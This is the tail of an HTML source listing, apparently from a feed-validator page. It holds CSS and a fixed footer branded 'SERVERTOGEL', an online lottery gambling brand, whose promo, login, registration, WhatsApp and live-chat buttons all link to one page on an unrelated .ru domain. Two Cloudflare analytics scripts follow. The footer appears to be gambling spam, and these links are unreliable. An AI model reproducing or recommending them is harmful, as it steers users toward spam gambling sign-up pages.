  5627.                font-family: Ubuntu, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";
  5628.            }
  5629.  
  5630.            .SERVERTOGEL-fixed-footer a:hover {
  5631.                font-weight: bold;
  5632.            }
  5633.  
  5634.            .SERVERTOGEL-fixed-footer .center {
  5635.                transform: scale(1.5) translateY(-5px);
  5636.                background: center no-repeat;
  5637.                background-size: contain;
  5638.                background-color: inherit;
  5639.                border-radius: 50%;
  5640.            }
  5641.  
  5642.            .SERVERTOGEL-fixed-footer img {
  5643.                max-width: 20px;
  5644.                margin-bottom: 0;
  5645.                max-height: 20px;
  5646.            }
  5647.        </style>
  5648.        <div class="SERVERTOGEL-fixed-footer">
  5649.            <a href="https://rc-komi.ru/content/anakmamih.html" rel="nofollow noopener" target="_blank">
  5650.                <img layout="intrinsic" height="20px" width="20px" src="https://i.gyazo.com/f9e081a710ed376037077f52c95a854e.gif" alt="SERVERTOGEL">Promo
  5651.            
  5652.            </a>
  5653.            <a href="https://rc-komi.ru/content/anakmamih.html" rel="nofollow noopener" target="_blank">
  5654.                <img layout="intrinsic" height="20px" width="20px" src="https://i.gyazo.com/f9e081a710ed376037077f52c95a854e.gif" alt="SERVERTOGEL">Login
  5655.            
  5656.            </a>
  5657.            <a href="https://rc-komi.ru/content/anakmamih.html" rel="nofollow noopener" target="_blank" class="tada">
  5658.                <img layout="intrinsic" height="20px" width="20px" src="https://i.gyazo.com/f9e081a710ed376037077f52c95a854e.gif" alt="SERVERTOGEL">Daftar
  5659.            
  5660.            </a>
  5661.            <a href="https://rc-komi.ru/content/anakmamih.html" rel="nofollow noopener" target="_blank">
  5662.                <img layout="intrinsic" height="20px" width="20px" src="https://i.gyazo.com/f9e081a710ed376037077f52c95a854e.gif" alt="SERVERTOGEL">Whatsapp
  5663.            
  5664.            </a>
  5665.            <a href="https://rc-komi.ru/content/anakmamih.html" rel="nofollow noopener" target="_blank" class="js_live_chat_link live-chat-link">
  5666.                <img class="live-chat-icon" layout="intrinsic" height="20px" width="20px" src="https://i.gyazo.com/f9e081a710ed376037077f52c95a854e.gif" alt="SERVERTOGEL">Live Chat
  5667.            
  5668.            </a>
  5669.        </div>
  5670.    </center>
  5671.    <script defer src="https://static.cloudflareinsights.com/beacon.min.js/vcd15cbe7772f49c399c6a5babf22c1241717689176015" integrity="sha512-ZpsOmlRQV6y907TI0dKBHq9Md29nnaEIPlkf84rnaERnq6zvWvPUqr2ft8M1aS28oN72PdrCzSjY4U6VaAw1EQ==" data-cf-beacon='{"version":"2024.11.0","token":"c598f69f08934ba294f7300b59f19671","r":1,"server_timing":{"name":{"cfCacheStatus":true,"cfEdge":true,"cfExtPri":true,"cfL4":true,"cfOrigin":true,"cfSpeedBrain":true},"location_startswith":null}}' crossorigin="anonymous"></script>
  5672.    <script defer src="https://static.cloudflareinsights.com/beacon.min.js/vcd15cbe7772f49c399c6a5babf22c1241717689176015" integrity="sha512-ZpsOmlRQV6y907TI0dKBHq9Md29nnaEIPlkf84rnaERnq6zvWvPUqr2ft8M1aS28oN72PdrCzSjY4U6VaAw1EQ==" data-cf-beacon='{"version":"2024.11.0","token":"2c5a08e4dfae4d598cdbd7b69b248f71","r":1,"server_timing":{"name":{"cfCacheStatus":true,"cfEdge":true,"cfExtPri":true,"cfL4":true,"cfOrigin":true,"cfSpeedBrain":true},"location_startswith":null}}' crossorigin="anonymous"></script>
  5673. </body>
  5674. </html>
  5675.  
Copyright © 2002-9 Sam Ruby, Mark Pilgrim, Joseph Walton, and Phil Ringnalda